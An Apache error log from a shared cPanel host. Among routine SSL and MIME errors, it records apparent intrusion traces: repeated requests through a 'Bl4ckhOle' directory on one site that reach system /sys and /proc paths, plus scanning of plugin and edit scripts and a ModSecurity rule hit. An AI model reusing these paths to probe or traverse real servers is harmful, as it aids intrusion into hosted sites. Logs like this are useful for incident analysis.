[Fri Jul 17 09:58:33.314124 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:54330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:33.414492 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:54332] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:33.516234 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:54352] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:33.767380 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:54378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:34.352664 2026] [ssl:error] [pid 2063433:tid 2063433] (70014)End of file found: [client 66.85.158.91:54398] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:34.389965 2026] [security2:error] [pid 2032156:tid 2032156] [client 91.72.179.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-global": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almvcq14q1EBnanVMYGvbgAAAAk"]
[Fri Jul 17 09:58:34.390007 2026] [security2:error] [pid 2032156:tid 2032156] [client 91.72.179.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-ip": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almvcq14q1EBnanVMYGvbgAAAAk"]
[Fri Jul 17 09:58:34.533340 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:54426] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:35.474952 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:54498] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:37.577538 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:54588] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:39.321921 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:54700] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:42.095066 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:42.176041 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:42.233693 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:42.367862 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:42.478378 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:42.535859 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:44.609024 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:44.669912 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:44.774128 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:44.796670 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:44.801549 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:45.014557 2026] [core:error] [pid 2063442:tid 2063442] (13)Permission denied: [client 47.82.53.96:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/4:67/closing_wait
[Fri Jul 17 09:58:45.067875 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:45.069954 2026] [security2:error] [pid 2063895:tid 2063895] [client 47.82.15.9:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:31/subsystem/tty54/subsystem/tty62/"] [unique_id "almvfRf3V7HXByUCfDSxAAAAABY"]
[Fri Jul 17 09:58:45.070028 2026] [security2:error] [pid 2063895:tid 2063895] [client 47.82.15.9:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:31/subsystem/tty54/subsystem/tty62/"] [unique_id "almvfRf3V7HXByUCfDSxAAAAABY"]
[Fri Jul 17 09:58:45.171928 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:47.799755 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 47.82.15.142:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/crash_notes_size
[Fri Jul 17 09:58:47.806154 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:47.843028 2026] [mime:warn] [pid 2063443:tid 2063443] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:47.922485 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:48914] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:47.928538 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:48.048439 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:48.129712 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:48.145773 2026] [mime:warn] [pid 2063894:tid 2063894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:48.148154 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:48.219021 2026] [mime:warn] [pid 2063888:tid 2063888] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:48.234506 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:48.543827 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:48.708830 2026] [mime:warn] [pid 2063443:tid 2063443] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:48.731418 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:49.839068 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:51.510412 2026] [ssl:error] [pid 2063894:tid 2063894] (70014)End of file found: [client 66.85.158.91:38936] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:51.513342 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:38946] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:51.550466 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:38960] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:51.847875 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:39018] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:52.169427 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:39068] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:52.264855 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:39078] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:52.379883 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:39094] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:52.477953 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:39110] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:52.481931 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:39126] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:52.581700 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:39130] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:52.681548 2026] [ssl:error] [pid 2063888:tid 2063888] (70014)End of file found: [client 66.85.158.91:39154] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:53.587318 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:53.890052 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:53.890347 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:53.929255 2026] [proxy_fcgi:error] [pid 2063443:tid 2063443] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:54.086170 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:54.261406 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:54.401346 2026] [core:error] [pid 2060582:tid 2060582] (13)Permission denied: [client 57.141.18.75:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory112/node0/memory14/subsystem/devices/memory133/subsystem/devices/memory22/node0/memory84/subsystem/uevent
[Fri Jul 17 09:58:54.744158 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:54.860911 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:54.964436 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:39342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:55.524432 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:39412] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:55.555447 2026] [proxy_fcgi:error] [pid 2063443:tid 2063443] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:55.669936 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:55.849285 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:56.123347 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:56.450420 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:56.451266 2026] [security2:error] [pid 2030804:tid 2030804] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/euroentertainmen-global": Permission denied [hostname "euroentertainmentlk.com"] [uri "/plugins.php"] [unique_id "almviIe39YUk0SgV8AVF_AAAABE"]
[Fri Jul 17 09:58:56.451298 2026] [security2:error] [pid 2030804:tid 2030804] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/euroentertainmen-ip": Permission denied [hostname "euroentertainmentlk.com"] [uri "/plugins.php"] [unique_id "almviIe39YUk0SgV8AVF_AAAABE"]
[Fri Jul 17 09:58:56.592086 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:56.665078 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:39558] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:56.684113 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:56.868398 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:56.998048 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:57.100834 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:57.435449 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:57.949147 2026] [proxy_fcgi:error] [pid 2063443:tid 2063443] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:57.949756 2026] [security2:error] [pid 2063443:tid 2063443] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/euroentertainmen-global": Permission denied [hostname "euroentertainmentlk.com"] [uri "/edit.php"] [unique_id "almviTi4bgtV9qY-DRRZEAAAABg"]
[Fri Jul 17 09:58:57.949786 2026] [security2:error] [pid 2063443:tid 2063443] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/euroentertainmen-ip": Permission denied [hostname "euroentertainmentlk.com"] [uri "/edit.php"] [unique_id "almviTi4bgtV9qY-DRRZEAAAABg"]
[Fri Jul 17 09:58:58.357456 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:58.444364 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:58.563344 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:58.743431 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:58.805886 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:39856] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:58.833017 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:58.855625 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:39876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:58.919025 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:59.323418 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:39988] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:59.380644 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:59.423592 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/bus/memory/devices/memory124/node0/cpu2/driver/uevent
[Fri Jul 17 09:58:59.528231 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:40044] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:59.588036 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:59.597950 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:59.631756 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:40082] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:59.777369 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:58:59.777895 2026] [core:error] [pid 2063883:tid 2063883] (13)Permission denied: [client 57.141.18.58:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory133/node0/memory121/node0/memory137/subsystem/devices/memory0/subsystem/uevent
[Fri Jul 17 09:58:59.837382 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:40120] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:59.939540 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:40142] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:00.098402 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:00.140586 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:40186] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:00.244186 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:00.355039 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:40202] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:00.475588 2026] [proxy_fcgi:error] [pid 2063888:tid 2063888] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:00.560975 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:00.671831 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:40250] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:00.699898 2026] [proxy_fcgi:error] [pid 2063894:tid 2063894] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:00.790776 2026] [proxy_fcgi:error] [pid 2063888:tid 2063888] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:01.110713 2026] [proxy_fcgi:error] [pid 2063443:tid 2063443] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:01.423015 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:02.070147 2026] [proxy_fcgi:error] [pid 2063894:tid 2063894] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:02.288245 2026] [proxy_fcgi:error] [pid 2060582:tid 2060582] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:02.642737 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:02.718136 2026] [ssl:error] [pid 2063894:tid 2063894] (70014)End of file found: [client 66.85.158.91:43552] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:02.733640 2026] [proxy_fcgi:error] [pid 2063443:tid 2063443] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:03.111786 2026] [proxy_fcgi:error] [pid 2063443:tid 2063443] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:03.197655 2026] [proxy_fcgi:error] [pid 2063888:tid 2063888] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:03.667355 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:03.976849 2026] [proxy_fcgi:error] [pid 2063443:tid 2063443] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:06.895995 2026] [proxy_fcgi:error] [pid 2063443:tid 2063443] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:07.309974 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:07.393361 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:07.480383 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:07.494702 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:43962] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:07.809465 2026] [proxy_fcgi:error] [pid 2063443:tid 2063443] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:08.016270 2026] [proxy_fcgi:error] [pid 2063888:tid 2063888] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:59:08.143150 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:44062] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:09.456462 2026] [security2:error] [pid 2039911:tid 2039911] [client 216.73.216.133:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "127.0.0.1"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "127.0.0.1"] [uri "/cgi-sys/autoconfig.cgi"] [unique_id "almvlZBVIrrUwtEhdafcpAAAAAU"]
[Fri Jul 17 09:59:09.869487 2026] [security2:error] [pid 2032156:tid 2032156] [client 57.141.18.54:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory55/node0/memory37/node0/memory96/node0/memory117/power/"] [unique_id "almvla14q1EBnanVMYGvhwAAAAk"]
[Fri Jul 17 09:59:09.869542 2026] [security2:error] [pid 2032156:tid 2032156] [client 57.141.18.54:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory55/node0/memory37/node0/memory96/node0/memory117/power/"] [unique_id "almvla14q1EBnanVMYGvhwAAAAk"]
[Fri Jul 17 09:59:14.276055 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:41372] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:15.367369 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:41424] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:15.425886 2026] [ssl:error] [pid 2063894:tid 2063894] (70014)End of file found: [client 66.85.158.91:41436] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:16.040102 2026] [security2:error] [pid 2034024:tid 2034024] [client 57.141.18.39:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory46/node0/memory112/node0/memory37/node0/memory99/"] [unique_id "almvnI-0g_VSPeIeFN3L7gAAAAs"]
[Fri Jul 17 09:59:16.040131 2026] [security2:error] [pid 2034024:tid 2034024] [client 57.141.18.39:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory46/node0/memory112/node0/memory37/node0/memory99/"] [unique_id "almvnI-0g_VSPeIeFN3L7gAAAAs"]
[Fri Jul 17 09:59:18.697133 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:41538] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:24.863094 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:46592] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:28.846867 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:46860] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:34.713937 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:60818] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:35.121195 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvr4e39YUk0SgV8AVGFAAAABE"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:59:35.121272 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvr4e39YUk0SgV8AVGFAAAABE"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:59:37.117690 2026] [ssl:error] [pid 2063894:tid 2063894] (70014)End of file found: [client 66.85.158.91:60886] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:37.117690 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:60896] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:37.181494 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:60910] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:37.271290 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:60924] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:37.472375 2026] [ssl:error] [pid 2063888:tid 2063888] (70014)End of file found: [client 66.85.158.91:60954] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:37.574141 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:60980] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:37.775903 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:32768] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:59:37.875088 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:32776] AH02013: coalesce failed to read from data bucket
